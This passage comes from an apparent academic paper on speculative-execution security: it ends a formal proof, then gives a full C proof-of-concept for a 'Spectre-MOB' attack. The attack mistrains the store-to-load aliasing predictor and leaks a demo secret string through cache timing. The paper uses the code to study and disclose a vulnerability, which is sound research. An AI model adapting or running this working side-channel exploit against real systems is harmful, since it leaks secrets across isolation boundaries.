To prove the trace property $O_{seq} = O'_{seq}$, we note that if $O_{seq} \neq O'_{seq}$, then since $C_2 \simeq_{\text{pub}} C'_2$, it must be the case that there exists some $o \in O_{seq}$ such that secret $\in O_{seq}$. Since this is also true for O and O', we know that there exist no observations in either O or O' that contain secret labels. By Corollary B.10, it follows that no secret labels appear in either O_{seq} or O'_{seq}, and thus $O_{seq} = O'_{seq}$. □

C Spectre-MOB proof of concept

```
/*********************************************************************
*
* This source code is based off the Spectre v1 PoC
* found at https://github.com/crozone/SpectrePoC.git
*
**********************************************************************/

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#include <x86intrin.h> /* for rdtsc, rdtscp, clflush */

#include <unistd.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

/********************************************************************
Victim code.
********************************************************************/
unsigned int array1_size = 16;
uint8_t unused1[64];
uint32_t array1[16] = { 0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc,
↪  0xbd, 0xbe, 0xbf };
uint8_t unused2[64];
uint8_t array2[256 * 512];
int32_t big_block[4096];
#define NUM_PAGES 1024
volatile int32_t* load_addrs[NUM_PAGES];
#define NUM_BAGS (4096/(sizeof(int32_t)))
volatile int32_t store_addrs[NUM_BAGS];

const uint32_t secret[] = {'T', 'h', 'e', ' ', 'M', 'a', 'g', 'i', 'c', ' ', 'W', 'o', 'r', 'd', 's',
↪  ' ', 'a', 'r', 'e', ' ', 'S', 'q', 'u', 'e', 'a', 'm', 'i', 's', 'h', ' ', 'O', 's', 's', 'i',
↪  'f', 'r', 'a', 'g', 'e', '.' };

uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */


/* By training the aliasing detection, we can cause *load_addr to load the
 * value stored at *store_addr even when store_addr != load_addr. We abuse this
 * to read and leak values of secret[] through *load_addr, despite *load_addr
 * never actually containing these values. */
void victim_function(size_t x, register volatile int32_t* store_addr, register volatile int32_t*
↪  load_addr) {
  *store_addr = array1[x]+1;
  // placing an lfence here after the store prevents the vulnerability
  temp &= array2[(*(load_addr)-1) * 512];
}
```

```
/*********************************************************************
Analysis code
*********************************************************************/

/* Find accessed cache lines corresponding to ASCII values */
void readMemoryByte(int cache_hit_threshold, size_t malicious_x, int results[256], int pagenum, int
↪  dropnum) {
  int tries, i, j, k, mix_i;
  unsigned int junk = 0;
  size_t training_x, x;
  register uint64_t time1, time2;
  volatile uint8_t * addr;

  for (i = 0; i < 256; i++)
    results[i] = 0;
  for (tries = 1999; tries > 0; tries--) {

    /* Flush array2[256*(0..255)] from cache */
    for (i = 0; i < 256; i++)
      _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

    training_x = tries % array1_size;
    uint64_t training_alias = (uint64_t)&store_addrs[dropnum];
    uint64_t malicious_alias = (uint64_t)load_addrs[pagenum];
    int32_t* alias_p;
    for (int k = 0; k < 500; k++) {
      for (j = 25-1; j >= 0; j--) {
        /* Bit twiddling to set x=training_x if j%25!=0 or malicious_x if j%25==0 */
        /* Avoid jumps in case those tip off the branch predictor */
        x = (j - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%25==0, else x=0 */
        x = (x | (x >> 16)); /* Set x=-1 if j&25=0, else x=0 */
        // set alias_p to truly alias the store_addr if j%25!=0,
        // and NOT alias the store_addr if j%25==0
        alias_p = (int32_t*)(training_alias ^ (x & (malicious_alias ^ training_alias)));
        x = training_x ^ (x & (malicious_x ^ training_x));

        _mm_clflush( (int32_t*)malicious_alias);

        /* Delay */
        for (volatile int z = 0; z < 400; z++) {}
        _mm_lfence();

        /* Call the victim! */
        victim_function(x, &store_addrs[dropnum], alias_p);
      }
    }

    /* Time reads. Order is lightly mixed up to prevent stride prediction */
    for (i = 0; i < 256; i++) {
      mix_i = ((i * 167) + 13) & 255;
      addr = & array2[mix_i * 512];
    /*
    We need to accurately measure the memory access to the current index of the
    array so we can determine which index was cached by the malicious mispredicted code.

    The best way to do this is to use the rdtscp instruction, which measures current
    processor ticks, and is also serialized.
    */

      time1 = __rdtscp( & junk); /* READ TIMER */
      junk = * addr; /* MEMORY ACCESS TO TIME */
      time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */

      if ((int)time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
    }

    /* Detect cache lines */
  }
  printf(">");
  for (i = 32; i < 128; i++) { // printable range
    if (results[i] > 0) {
      printf("%c", i);
    }
  }
  printf("< ");
  for (i = 0; i < 256; i++) {
    if (results[i] > 0) {
      printf("%02x/%d ", i, results[i]);
    }
  }
  results[0] ^= junk; /* use junk so code above won't get optimized out*/
}

/*
*  Command line arguments:
*  1: Cache hit threshold (int)
*  2: Malicious address start (size_t)
*  3: Malicious address count (int)
*/
int main(int argc,
  const char * * argv) {

  /* Default to a cache hit threshold of 80 */
  int cache_hit_threshold = 80;

  /* Default for malicious_x is the secret string address */
  size_t malicious_x = (size_t)(secret -  array1);

  /* Default addresses to read is 40 (which is the length of the secret string) */
  int len = 40;

  int i;
```

```
#ifdef NOCLFLUSH
for (i = 0; i < (int)sizeof(cache_flush_array); i++) {
  cache_flush_array[i] = 1;
}
#endif

int fd = open("mmap", O_CREAT | O_TRUNC | O_RDWR, S_IRUSR | S_IWUSR);
if (fd < 1) {
  perror(NULL);
  exit(1);
}
ftruncate(fd, 0x1000 * NUM_PAGES);
int32_t* mmap_base = mmap(NULL, 0x1000 * NUM_PAGES, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);

// arbitrarily chosen
int dropnum = 33;

uint64_t alias_base = (uint64_t)mmap_base;
// touch all the pages
for (i = 0; i < NUM_PAGES; i++) {
  load_addrs[i] = (int32_t*)((((uint64_t)&store_addrs[dropnum]) & 0xfff) + (alias_base + i *
  ↪  0x1000));
  *(load_addrs[i]) = 0xDD;
}

// arbitrarily chosen
int pagenum = 4;

// offset so lower bits don't match
load_addrs[pagenum] = (int32_t*)(((uint64_t)load_addrs[pagenum]) + 37);

printf("store_addr: %p\n load_addr: %p\n      mmap: %p\n      diff: 0x%012lx\n",
↪  &store_addrs[dropnum], load_addrs[pagenum], mmap_base, (uint64_t)load_addrs[pagenum] -
↪  (uint64_t)mmap_base);
printf("&array1_size: %p\n", &array1_size);

// touch the chosen page again just to be sure
*(load_addrs[pagenum]) = 0xCC;

for (i = 0; i < (int)sizeof(array2); i++) {
  array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */
}

/* Parse the cache_hit_threshold from the first command line argument.
   (OPTIONAL) */
if (argc >= 2) {
  sscanf(argv[1], "%d", &cache_hit_threshold);
}

/* Print git commit hash */
#ifdef GIT_COMMIT_HASH
  printf("Version: commit " GIT_COMMIT_HASH "\n");
#endif
```

```
  /* Print cache hit threshold */
  printf("Using a cache hit threshold of %d.\n", cache_hit_threshold);

  printf("\n");

  int results[256];

  printf("Reading %d bytes:\n", len);

  /* Start the read loop to read each address */
  i = 0;
  while (--len >= 0) {
    printf("Reading at malicious_x = %p... ", (void * ) malicious_x);

    /* Call readMemoryByte with the required cache hit threshold and
         malicious x address.
       Output is of the form xx/nnnn, where xx is the cached index and nnnn is
         the number of detected hits.
       Any detected ASCII characters are printed between the >< arrows.
    */
    readMemoryByte(cache_hit_threshold, malicious_x++, results, pagenum, dropnum);

    i++;
    printf("\n");
  }
  return (0);
}
```